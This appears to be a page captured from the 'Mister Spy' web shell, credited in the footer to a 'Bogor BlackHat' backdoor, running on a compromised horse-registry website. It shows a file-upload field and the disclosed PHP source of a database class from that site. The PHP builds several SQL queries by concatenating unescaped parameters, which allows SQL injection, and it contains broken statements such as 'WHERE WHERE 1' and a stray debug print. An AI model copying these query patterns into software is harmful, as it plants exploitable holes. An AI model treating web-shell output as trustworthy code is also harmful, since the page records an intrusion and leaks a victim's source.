Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.extrs.php

<?php 

require_once('class.dbaccess.php');
require_once('class.extr.php');
require_once('class.filter.php');
require_once('class.page.php');

class Extrs extends DBAccess implements IFilterable
{

	public function ParseFilter(array $filter)
	{
		$sql = '';

		if (isset($filter['SBA']) && $filter['SBA'] != "")
		{
			$sql.= " AND HBAE = " . DB::Number($filter['SBA']);
		}

		if (isset($filter['RP']) && $filter['RP'] != "")
		{
			$sql.= " AND RPEX = " . DB::Number($filter['RP']);
		}

		if (isset($filter['Animal']) && $filter['Animal'] != "")
		{
			$sql.= " AND NOMB LIKE '%" . DB::StringUnquoted($filter['Animal']) . "%'";
		}

		return $sql;
	}

	public function GetPagesCount(Page $oPage, $filter = false)
	{	
		$sql = "SELECT COUNT(1) / " . DB::Number($oPage->Size) . " AS Count";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE 1 ";

		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);

		if (!($oRes = $this->GetQuery($sql)) )		
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;

		$Count = $oRow['Count'];
		$Count = ceil($Count);

		return $Count;
	}

	public function GetAllFNAC(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT IdExtr, FNAC ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE LENGTH(FNAC) >= 9 ";

		print $sql;
		
		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();
		
		while ($oRow = $oRes->GetRow())	
		{	
			$oExtr = new Extr();
			$oExtr->ParseFromArray($oRow);
			
			array_push($arr, $oExtr);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}
	
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT * ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE 1 ";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();
		
		while ($oRow = $oRes->GetRow())	
		{	
			$oExtr = new Extr();
			$oExtr->ParseFromArray($oRow);
			
			array_push($arr, $oExtr);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}
	
	public function GetAnimalBySBA($SBA, $RP, $Sexo, $ASOX = '')
	{
		$sql = "SELECT *";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE 1 ";

		if ($Sexo != "")
			$sql.= " AND SEXO = ".$Sexo." ";

		if ($SBA != "")
			$sql.= " AND (HBEX = '" .$SBA. "' OR HBAE = '" .$SBA. "') ";
		else
			$sql.= " 1=0";

		if ($RP != "" && $RP != "0")
			$sql .= " AND RPEX = '".$RP."' ";

		if ($ASOX != "" && $ASOX != "0")
			$sql .= " AND ASOX = '".$ASOX."' ";
//print_R($sql);
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oExtr = new Extr();
		$oExtr->ParseFromArray($oRow);
		
		return $oExtr;		
	}

	public function GetBySba($SBA, $RP)
	{
		$sql = "SELECT IdExtr, HBAE, RPEX, NOMB, FNAC, CPEL ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE 1 ";

		if ($SBA != "")
			$sql.= " AND HBAE = '" .$SBA. "' ";

		if ($RP != "")
			$sql .= " AND RPEX = '".$RP."' ";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();
		
		while ($oRow = $oRes->GetRow())	
		{	
			$oExtr = new Extr();
			$oExtr->ParseFromArray($oRow);
			
			array_push($arr, $oExtr);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}
	
	
	public function GetNombreById($IdExtr)
	{
		$sql = "SELECT * ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE IdExtr = " . DB::Number($IdExtr);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$oExtr = new Extr();
		$oExtr->ParseFromArray($oRow);

		return $oExtr->Nombre;		
	}
	
	public function GetById($IdExtr)
	{
		$sql = "SELECT * ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE IdExtr = " . DB::Number($IdExtr);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$oExtr = new Extr();
		$oExtr->ParseFromArray($oRow);

		return $oExtr;		
	}
	
	
	public function GetByNombre($Nombre, $IdExtr)
	{
		$sql = " SELECT * ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE WHERE 1 ";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oExtr = new Extr();
		$oExtr->ParseFromArray($oRow);
		
		return $oExtr;		
	}
	
	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT * ";
		$sql.= " FROM tblExtr ";
		$sql.= " WHERE 1";
		
		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY HBAE, NOMB ASC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Extr $oExtr)
	{
		$arr = array
		(
			'IdExtr'	=> DB::Number($oExtr->IdExtr),
			'RAZA'  	=> DB::String($oExtr->RAZA),
			'HBAE' 		=> DB::String($oExtr->HBAE),
			'RPEX' 		=> DB::String($oExtr->RPEX),
			'NOMB' 		=> DB::String($oExtr->NOMB),
			'SEXO' 		=> DB::String($oExtr->SEXO),
			'ASOX' 		=> DB::String($oExtr->ASOX),
			'HBEX' 		=> DB::String($oExtr->HBEX),
			'RPET' 		=> DB::String($oExtr->RPET),
			'ASOP' 		=> DB::String($oExtr->ASOP),
			'HBAP' 		=> DB::String($oExtr->HBAP),
			'RGSP' 		=> DB::String($oExtr->RGSP),
			'RPPD' 		=> DB::String($oExtr->RPPD),
			'ASOM' 		=> DB::String($oExtr->ASOM),
			'HBAM' 		=> DB::String($oExtr->HBAM),
			'RGSM' 		=> DB::String($oExtr->RGSM),
			'RPMD' 		=> DB::String($oExtr->RPMD),
			'ANLS' 		=> DB::String($oExtr->ANLS),
			'RANA' 		=> DB::String($oExtr->RANA),
			'CDPX' 		=> DB::String($oExtr->CDPX),
			'NROC' 		=> DB::String($oExtr->NROC),
			'REGI' 		=> DB::String($oExtr->REGI),
			'CALI' 		=> DB::String($oExtr->CALI),
			'VARI' 		=> DB::String($oExtr->VARI),
			'APRB' 		=> DB::String($oExtr->APRB),
			'TANA' 		=> DB::String($oExtr->TANA),
			'PURE' 		=> DB::String($oExtr->PURE),
			'FNAC' 		=> DB::Date($oExtr->FNAC),
			'CPEL' 		=> DB::String($oExtr->CPEL),
			'CCUE' 		=> DB::String($oExtr->CCUE),
			'CCAB' 		=> DB::String($oExtr->CCAB),
			'CMIE' 		=> DB::String($oExtr->CMIE),
			'IdProd'	=> DB::Number($oExtr->IdProd),
			'IdPa'		=> DB::Number($oExtr->IdPa),
			'IdMa'		=> DB::Number($oExtr->IdMa),
			'IdPPdre'	=> DB::Number($oExtr->IdPPdre),
			'IdPExtr'	=> DB::Number($oExtr->IdPExtr),
			'IdEExis'	=> DB::Number($oExtr->IdEExis),
			'IdEExtr'	=> DB::Number($oExtr->IdEExtr)
		);

		if (!$this->Insert('tblExtr', $arr))
			return false;

		
		$oExtr->IdExtr = DBAccess::GetLastInsertId();
			
		return $oExtr;
	}
	
	
public function UpdateFNAC(Extr $oExtr)
	{
		$where = " IdExtr = " . DB::Number($oExtr->IdExtr);
		
		$arr = array
		(
			'IdExtr'	=> DB::Number($oExtr->IdPdre),
			'FNAC' 	=> DB::Date($oExtr->FNAC)
		);
		
		if (!DBAccess::Update('tblExtr', $arr, $where))
			return false;
		
		return $oExtr;
	}
	
	public function Update(Extr $oExtr)
	{
		$where = " IdExtr = " . DB::Number($oExtr->IdExtr);
		
		$arr = array
		(
			'RAZA'  	=> DB::String($oExtr->RAZA),
			'HBAE' 		=> DB::String($oExtr->HBAE),
			'RPEX' 		=> DB::String($oExtr->RPEX),
			'NOMB' 		=> DB::String($oExtr->NOMB),
			'SEXO' 		=> DB::String($oExtr->SEXO),
			'ASOX' 		=> DB::String($oExtr->ASOX),
			'HBEX' 		=> DB::String($oExtr->HBEX),
			'RPET' 		=> DB::String($oExtr->RPET),
			'ASOP' 		=> DB::String($oExtr->ASOP),
			'HBAP' 		=> DB::String($oExtr->HBAP),
			'RGSP' 		=> DB::String($oExtr->RGSP),
			'RPPD' 		=> DB::String($oExtr->RPPD),
			'ASOM' 		=> DB::String($oExtr->ASOM),
			'HBAM' 		=> DB::String($oExtr->HBAM),
			'RGSM' 		=> DB::String($oExtr->RGSM),
			'RPMD' 		=> DB::String($oExtr->RPMD),
			'ANLS' 		=> DB::String($oExtr->ANLS),
			'RANA' 		=> DB::String($oExtr->RANA),
			'CDPX' 		=> DB::String($oExtr->CDPX),
			'NROC' 		=> DB::String($oExtr->NROC),
			'REGI' 		=> DB::String($oExtr->REGI),
			'CALI' 		=> DB::String($oExtr->CALI),
			'VARI' 		=> DB::String($oExtr->VARI),
			'APRB' 		=> DB::String($oExtr->APRB),
			'TANA' 		=> DB::String($oExtr->TANA),
			'PURE' 		=> DB::String($oExtr->PURE),
			'FNAC' 		=> DB::Date($oExtr->FNAC),
			'CPEL' 		=> DB::String($oExtr->CPEL),
			'CCUE' 		=> DB::String($oExtr->CCUE),
			'CCAB' 		=> DB::String($oExtr->CCAB),
			'CMIE' 		=> DB::String($oExtr->CMIE),
			'IdProd'	=> DB::Number($oExtr->IdProd),
			'IdPa'		=> DB::Number($oExtr->IdPa),
			'IdMa'		=> DB::Number($oExtr->IdMa),
			'IdPPdre'	=> DB::Number($oExtr->IdPPdre),
			'IdPExtr'	=> DB::Number($oExtr->IdPExtr),
			'IdEExis'	=> DB::Number($oExtr->IdEExis),
			'IdEExtr'	=> DB::Number($oExtr->IdEExtr)
		);
		
		
		if (!DBAccess::Update('tblExtr', $arr, $where))
			return false;
		
		return $oExtr;
	}
	

	public function Delete($IdExtr)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdExtr = " . DB::Number($IdExtr);
		if (!DBAccess::Delete('tblExtr', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat